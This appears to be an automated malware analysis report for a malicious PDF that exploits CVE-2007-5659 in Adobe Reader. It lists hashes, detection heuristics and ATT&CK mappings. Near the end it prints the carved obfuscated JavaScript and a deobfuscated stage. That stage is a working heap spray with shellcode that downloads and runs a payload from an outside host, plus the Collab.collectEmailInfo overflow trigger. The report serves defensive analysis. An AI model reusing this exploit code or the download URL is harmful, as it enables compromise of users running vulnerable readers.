PDF malware analysis — malicious · 79413dcc08439a61

MALICIOUS

PDF

4.7 KB Created: 2008-08-06 01:42:27 Authoring application: Scribus 1.3.3.12 (via Scribus PDF Library 1.3.3.12)

MD5: 4ebbd68aa7dd6b85a9af6ca11ee0f142 SHA-1: f346fddd8d58534dc9f0d5e106c4b29c63b99a42 SHA-256: 79413dcc08439a6193ab4e8ab00e5fe9951593c2ca6135c35142cbdbaae43815

290 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that exploits CVE-2007-5659 in Adobe Reader. This script is designed to download and execute a second-stage payload from the URL http://abb192.cn/spl2/load.php?id=155&spl=4. The ML classifier strongly indicates maliciousness, and the exploit cluster confirms the presence of a known Adobe Reader vulnerability.

Machine Learning

Nyx PDF Classifier malicious score 1.0000

Heuristics 8

Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659

PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
JavaScript action low 3 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER

PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
PDF JavaScript shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL

Decoded PDF JavaScript shellcode contains a hardcoded http(s) URL stored as little-endian %uXXXX Unicode escapes. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY

Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://abb192.cn/spl2/load.php?id=155&spl=4 Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0013_001.js` `cf69a7a0d3e42801ae7db09c8686c52a922a0e9d657d6cb027ad902f14b59221`	pdf-javascript-stream	PDF /JS object 13 at offset 0x363	6456 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 4 eval/decoder/string-building token(s).
Preview script First 1,000 lines of the extracted script function uEd6j(){eval("function im"+"plo"+"de(gl"+"ue,pie"+"ces){return ((pieces instanceof Array)?pie"+"ce"+"s.jo"+"in(glu"+"e):pie"+"ces);}");eval("function AJSuBm(M4sni){return St"+"rin"+"g['fro"+"mCh"+"arC"+"ode']"+"(M4sni)"+";"+"}");eval("function ZXzWI6V11yp5gM(teC68){var ZAKSsQNEfEvHU="+"0,TegziLMuQkryj=teC68.l"+"en"+"gth,upsHpr7=10"+"2"+"4,tTOa8bgETX,wXbUuW,dNtOkADdR3V='',s43Le0wKNPsFYQ=ZAKSsQNEfEvHU,mKNyy=ZAKSsQNEfEvHU,vNV3a0Ude4Zh6=ZAKSsQNEfEvHU,qErgcGYs=Ar"+"ra"+"y(63,5,24,33,19,22,61,38,39,30,0,0,0,0,0,0,8,3,32,58,60,36,49,50,11,41,18,35,16,31,20,14,27,2,42,52,13,23,9,6,46,15,47,0,0,0,0,48,0,10,51,57,37,56,12,29,26,0,7,4,40,44,21,62,34,25,28,1,55,59,53,54,17,45,43);f"+"o"+"r(wXbUuW=M"+"at"+"h.c"+"ei"+"l(TegziLMuQkryj/"+"upsHpr7)"+";wXbUuW>ZAKSsQNEfEvHU;wXbUuW-"+"-){fo"+"r(tTOa8bgETX=Ma"+"th.m"+"in(TegziLMuQkryj,upsHpr7);tTOa8bgETX>ZAKSsQNEfEvHU;tTOa8bgETX-"+"-,TegziLMuQkryj-"+"-){vNV3a0Ude4Zh6\|"+"=(qErgcGYs[teC68.cha"+"rCod"+"eAt(s43Le0wKNPsFYQ+"+"+)-48])<"+"<mKNyy;if(mKNyy){dNtOkADdR3V+"+"=AJSuBm"+"(102^vNV3a0Ude4Zh6&"+"2"+"5"+"5);vNV3a0Ude4Zh6>"+">="+"8;mKNyy-"+"="+"2;}el"+"se{mKNyy="+"6"+";}}"+"}return (dNtOkADdR3V);}var OjsJ7rHrjeMmFW=implode('',['Ws','FsN2E1pEGay2S5W3_ix','2SV','N','LFsM','eS','4','g','q','k','i4BLs','JD','L','Q@2k','HzDG','V','NTp@Y','ep4drLNUV3JWTLQnDxn_f','vQwD1j@f4HYqNjW13AYl_iWcNVjkv','n','JBEQABLiJei','4NIv','iVNFjn','s','bNH','2bUr','B_','fyDN','jdrLNUV3xT','ydxdrLNUVxUP2NVjkvnJ','2S','5WnGsx','g','dk@nFkk','N3kNDi','Qse','Ena','TL','QnDxn_fv','QwD1','j@f4HVxv4gqk1A@Fk','N','BBxdrL','NUVxUWy','3xifsQ1@FAVBB','x4kBkM6BU','z','LKTo','@AjQ@K4YqNj','WsFsN2','Ssw','eiYIS','iNvkbfj','2S5Wqdj5nB','n12','n','s5nLUWsFs','N2','EaLq3','kJ1bQd2S5WTsQ','AN','xsj','2FiOx','S','L4@','nnJnvL4@n','nJnv','L4','@','nn','Jn','vL421@KLGL4Nnn4','xGL4i','1NdD','vL4ednE','DvL4','edn5gvL4f','Q','@','nnvL4fQnJ','nvL4fQVB','rGL4fpU5TvL4iQ@KNGL4iQ@B','iGL','4','e1Vxs','GL4@Q','@','JTGL4fQ@KiG','L','4','idNKiGL4fJn8iGL4D1@','LVvL4@','1nBNv','L4','D1','@LVvL4iv','@KkvL4fQ@5nvL4f','Q@KLGL','4','id','N','KiGL4LGU5nvL4','iv','n91vL4fG','n8rvL4','2nN5nvL','4fQ@UgvL','4fQ@','K','iGL4rGVLsv','L4L','GUKLG','L4knN91vL4','iv','NUgvL42nN','K','rvL4fQ@UsGL4','fQ@KiGL4','rGVLsvL4LGU','KkvL4NGV91vL','4rdn4sGL','42','nN','NVGL4f','Q@5VGL4f','Q@KiGL4rGVLsv','L4L','GUK','Nv','L42','dn91vL421','@N','gvL','42n','N9','sGL4fQ@n','xGL4f','Q@KiGL4r','GVLsvL4LGUB','iG','L4Lv@91vL4','2v','VMs','vL42nN','41vL4fQ@','N6','v','L4f','Q@K','i','G','L4rGVLsvL4rQ@','BLG','L4@','JNLsGL4Dv','VNnGL4i1NUTv','L4','iJN8rGL4','fpU5svL4fQ@K','fGL4LG','n','KiGL4DvVL','svL4id','NdLG','L4fQV8rGL4fG@9TvL4idNEivL','4i','JNErGL4','2n','NEDvL4fQ@LVvL4','fQ@','Ki','GL4enNEiGL4i','GN','pD','vL4D1','@','d2v','L4kd','U51vL','4fQ@','KiGL4i1NKiGL4','i','J','n8rGL4L','v','VLVvL4L1@LnGL4i1NEiG','L4NQ@8rGL4rdn91vL4f','Q','@','KiG','L4LQ@KiGL','4','rGVLVvL4ev','NBLGL','4LQNK','@GL4LGVL','Vv','L4','2nNBkv','L4fQ@','9','TGL4fQ@Ki','GL4r','GVKNGL4LdUdiGL4','LJnKiGL4NGnMgvL4L','dU','9','g','GL4fQV8iGL4evVM1vL4','fQ','@','KiGL','4DvV','Uq','vL','4id','Ndi','G','L4','fJn8rG','L4fG','@9T','vL4idNEivL4i','JNErGL4rQ@5','1v','L4fQ@','KiGL4evNKi','GL4LJNKevL4r','GVKNGL4@','J','VdLG','L4LJVnV','v','L4rdnEN','GL4NQ@Mg','GL4LJVEiG','L4','rGV','LVvL4e','vNBNv','L4LQNK','r','GL4','LG','VLVvL42nNBkvL4f','Q@dNGL4f','Q@KiGL4fQ@','9','TvL','4D','vVUqvL4idNdi','GL4fJ','N8rGL4f','p','@9T','v','L4i','d','NEivL4iJNErGL4iQ@51','vL4fQ@KiGL4evNKi','G','L4','idN','UqvL','4i','Q@8rGL4','fG@9T','vL4idNE','ivL4i','JNErGL','4fQ@51vL','4fQ@KiGL','4rG@Ki','GL','4Lp','@','E','@vL42v@KNGL','42v','@K','NG','L42v@K','NGL4','2','v@KN','G','L4','2nn','LnGL','4LGNK','LGL','4idNENGL4','2d','@nTvL4Lp@','UcvL4','21@UqvL4idNErG','L4idN5nvL4','fJNMxvL4LQnLV','vL4LGUKN','vL4D','n','VLV','vL','4idNpNv','L4iGn','MxGL4','fJVM','1v','L4','LGU','UnGL4DvULV','vL4f','JVdiGL4@J','VUnGL4rQNNsv','L4@1n8fGL4LnVKNGL4','@JVEDvL4fpn','U6vL','4','iQ','@4gvL4rd','@pfvL4f','J','N','MxGL4LvnNTGL4fJVKLvL4rQ@UVGL4rv@5V','vL4rv','np@vL4DvVErvL4LGN5gGL42','dNLVvL4','LGN','LVvL4fJVdL','GL4evUn','x','vL','4fJnLVvL4id','N','8@vL4iJnE',' ... (truncated)
`generic_stage_recovery_000.js` `e64ab91757709dddc452e113b18108ae720f6ea8c1e439bc350364f334db969d`	deobfuscated-js	generic stage recovery sixbit-xor-table from JavaScript object 13 at offset 0x363	2583 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script First 1,000 lines of the extracted script var pDOMK = new Array(); function JMIA2EDiH(Ca71t, eosy3V5mP9znUK) { while (Ca71t.length2<eosy3V5mP9znUK){Ca71t += Ca71t;} Ca71t = Ca71t.substring(0,eosy3V5mP9znUK/2); return Ca71t; } function ugt9i8MRPXTzdT() { var aPhZOk6SWUa = 0x0c0c0c0c; var L6pt4WmC = unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u7468%u7074%u2F3A%u612F%u6262%u3931%u2E32%u6E63%u732F%u6C70%u2F32%u6F6C%u6461%u702E%u7068%u693F%u3D64%u3531%u2635%u7073%u3D6C%u0034"); var g6sCaThtZXm = 0x400000; var UZpIU = L6pt4WmC.length 2; var eosy3V5mP9znUK = g6sCaThtZXm - (UZpIU+0x38); var Ca71t = unescape("%u9090%u9090"); Ca71t = JMIA2EDiH(Ca71t, eosy3V5mP9znUK); var noU70EiMfkHfBx = (aPhZOk6SWUa - 0x400000)/g6sCaThtZXm; for (var WYfK79KjcDQ3v1=0;WYfK79KjcDQ3v1<noU70EiMfkHfBx;WYfK79KjcDQ3v1++) { pDOMK[WYfK79KjcDQ3v1] = Ca71t + L6pt4WmC; } } function M0LXr() { var eP2kSb = app.viewerVersion.toString(); eP2kSb = eP2kSb.replace(/\D/g,""); var O6yiuTo5hXQM = new Array(eP2kSb.charAt(0),eP2kSb.charAt(1),eP2kSb.charAt(2)); if ((O6yiuTo5hXQM[0] == 8 && ((O6yiuTo5hXQM[1] == 1 && O6yiuTo5hXQM[2] < 2) \|\| O6yiuTo5hXQM[1] < 1)) \|\| (O6yiuTo5hXQM[0] == 7 && O6yiuTo5hXQM[1] < 1) \|\| (O6yiuTo5hXQM[0] < 7)) { ugt9i8MRPXTzdT(); var D2SfmXo85fMC = unescape("%u0c0c%u0c0c"); while(D2SfmXo85fMC.length < 44952) D2SfmXo85fMC += D2SfmXo85fMC; this.collabStore = Collab.collectEmailInfo({subj: "",msg: D2SfmXo85fMC}); } } M0LXr();

Open this report in the interactive analyzer, or submit your own file for analysis.